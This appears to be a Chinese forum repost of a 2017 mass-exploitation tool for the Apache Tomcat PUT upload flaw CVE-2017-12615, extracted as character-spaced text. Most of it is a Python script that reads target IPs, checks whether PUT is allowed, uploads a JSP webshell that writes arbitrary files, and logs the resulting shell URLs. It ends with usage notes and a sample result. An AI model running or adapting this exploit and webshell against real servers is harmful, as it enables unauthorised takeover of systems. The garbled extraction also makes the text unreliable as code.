[20907] 2017-09-22_tomcatput上传漏洞利用程序v1.1

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-18
2017-09-22_tomcatput上传漏洞利用程序v1.1 t o m c a t   p u t v 1 . 1 L e m o n S e c   2 0 1 7 - 0 9 - 2 2 T 0 0 L s t o m c a t   p u t v 1 . 1 , t o m c a t _ p u t . p y p t 0 0 7 @ v i p . s i n a . c o m C V E - 2 0 1 7 - 1 2 6 1 5 W i n d o w s & L i n u x A p a c h e   T o m c a t   7 . 0 . 0   -   7 . 0 . 8 1 t o m c a t 1 . t x t I P : 1 0 . 1 1 0 . 1 2 3 . 3 0 : 8 0 8 0   I P p y t h o n   t o m c a t _ p u t . p y t o m c a t _ s u c c e s s . t x t ! w e b s h e l l , h t t p : / / 1 0 . 1 1 0 . 1 2 3 . 3 0 : 8 0 8 0 / t e s t 1 1 . j s p                                   p r i n t   ' t E r r o r : ' ,   e i p 1 9 2 . 1 6 8 . 1 4 6 . 1 4 4 w i n 2 0 0 3 p o c p y # !   - * -   c o d i n g : u t f - 8   - * -   i m p o r t   h t t p l i b i m p o r t   s y s i m p o r t   t i m e , c o d e c s U r l F i l e = f i l e ( ' . / t o m c a t 1 . t x t ' )   # u r l f p =   c o d e c s . o p e n ( " . / t o m c a t _ s u c c e s s . t x t " , " a " )   # b o d y   =   ' ' ' < % @   p a g e   l a n g u a g e = " j a v a "   p a g e E n c o d i n g = " g b k " % > < j s p : d i r e c t i v e . p a g e   i m p o r t = " j a v a . i o . F i l e " / > < j s p : d i r e c t i v e . p a g e   i m p o r t = " j a v a . i o . O u t p u t S t r e a m " / > < j s p : d i r e c t i v e . p a g e   i m p o r t = " j a v a . i o . F i l e O u t p u t S t r e a m " / > < %   i n t   i = 0 ; S t r i n g   m e t h o d = r e q u e s t . g e t P a r a m e t e r ( " a c t " ) ; i f ( m e t h o d ! = n u l l & & m e t h o d . e q u a l s ( " y o c o " ) ) { S t r i n g   u r l = r e q u e s t . g e t P a r a m e t e r ( " u r l " ) ; S t r i n g   t e x t = r e q u e s t . g e t P a r a m e t e r ( " s m a r t " ) ; F i l e   f = n e w   F i l e ( u r l ) ; i f ( f . e x i s t s ( ) ) { f . d e l e t e ( ) ; } t r y { O u t p u t S t r e a m   o = n e w   F i l e O u t p u t S t r e a m ( f ) ; o . w r i t e ( t e x t . g e t B y t e s ( ) ) ; o . c l o s e ( ) ; } c a t c h ( E x c e p t i o n   e ) { i + + ; % > 0 < % } } i f ( i = = 0 ) { % > 1 < % } % > < f o r m   a c t i o n = ' ? a c t = y o c o '   m e t h o d = ' p o s t ' > < i n p u t   s i z e = " 1 0 0 "   v a l u e = " < % = a p p l i c a t i o n . g e t R e a l P a t h ( " / " )   % > "   n a m e = " u r l " > < b r > < t e x t a r e a   r o w s = " 2 0 "   c o l s = " 8 0 "   n a m e = " s m a r t " > ' ' ' i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         t r y :               p r i n t   ' ' '               - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -                 t o m c a t   p u t v 1 . 1 , t o m c a t _ p u t . p y                 p t 0 0 7 @ v i p . s i n a . c o m                 C V E - 2 0 1 7 - 1 2 6 1 5                 W i n d o w s & L i n u x                 A p a c h e   T o m c a t   7 . 0 . 0   -   7 . 0 . 8 1                               t t o m c a t 1 . t x t I P : 1 0 . 1 1 0 . 1 2 3 . 3 0 : 8 0 8 0   I P               t p y t h o n   t o m c a t _ p u t . p y               t t o m c a t _ s u c c e s s . t x t !               t w e b s h e l l , h t t p : / / 1 0 . 1 1 0 . 1 2 3 . 3 0 : 8 0 8 0 / t e s t 1 1 . j s p               - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - n ' ' '               u r l l i s t = [ ]               p r i n t   " t t o m c a t   u r l   l i s t : " ,               w h i l e   T r u e :                     l i n e   =   U r l F i l e . r e a d l i n e ( )                     i f   l e n ( l i n e )   = =   0 :   #   Z e r o   l e n g t h   i n d i c a t e s   E O F                           b r e a k                           # e x i t ( )                                               l i n e = l i n e . s t r i p ( )                     p r i n t   l i n e ,                     u r l l i s t . a p p e n d ( l i n e )               U r l F i l e . c l o s e ( )               p r i n t   ' n '               f o r   i   i n   u r l l i s t :                     c o n n   =   h t t p l i b . H T T P C o n n e c t i o n ( i )                     c o n n . r e q u e s t ( m e t h o d = ' O P T I O N S ' ,   u r l = ' / f f f f z z ' )                     h e a d e r s   =   d i c t ( c o n n . g e t r e s p o n s e ( ) . g e t h e a d e r s ( ) )                     i f   ' a l l o w '   i n   h e a d e r s   a n d                             h e a d e r s [ ' a l l o w ' ] . f i n d ( ' P U T ' )   >   0   :                           c o n n . c l o s e ( )                           c o n n   =   h t t p l i b . H T T P C o n n e c t i o n ( i )                           u r l   =   " / "   +   " t e s t 1 1 " + ' . j s p / '                           # u r l   =   " / "   +   s t r ( i n t ( t i m e . t i m e ( ) ) ) + ' . j s p : : $ D A T A '                           c o n n . r e q u e s t (   m e t h o d = ' P U T ' ,   u r l =   u r l ,   b o d y = b o d y )                           r e s   =   c o n n . g e t r e s p o n s e ( )                           i f   r e s . s t a t u s     = =   2 0 1   :                                 # p r i n t   ' s h e l l : ' ,   ' h t t p : / / '   +   s y s . a r g v [ 1 ]   +   u r l [ : - 7 ]                                 i n f o = ' t [ * ] s h e l l : ' + ' h t t p : / / '   + i   +   u r l [ : - 1 ] + " n "                                 p r i n t   i n f o                                 f p . w r i t e ( i n f o )                                 f p . f l u s h ( )                           e l i f   r e s . s t a t u s   = =   2 0 4   :                                 i n f o = ' h t t p : / / '   + i   +   u r l [ : - 1 ]                                 p r i n t   ' [ * ] f i l e   e x i s t s !   % s '   % i n f o                           e l s e :                                 p r i n t   ' t [ * ] e r r o r ! '                           c o n n . c l o s e ( )                     e l s e :                             p r i n t   ' t [ * ] s e r v e r   n o t   v u l n e r a b l e ! '                       e x c e p t   E x c e p t i o n , e :
t o m c a t 1 . t x t i p C M D 1 . p y t o m c a t _ s u c c e s s . t x t s h e l l : h t t p : / / 1 9 2 . 1 6 8 . 1 4 6 . 1 4 4 : 8 0 8 0 / t e s t 1 1 . j s p
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则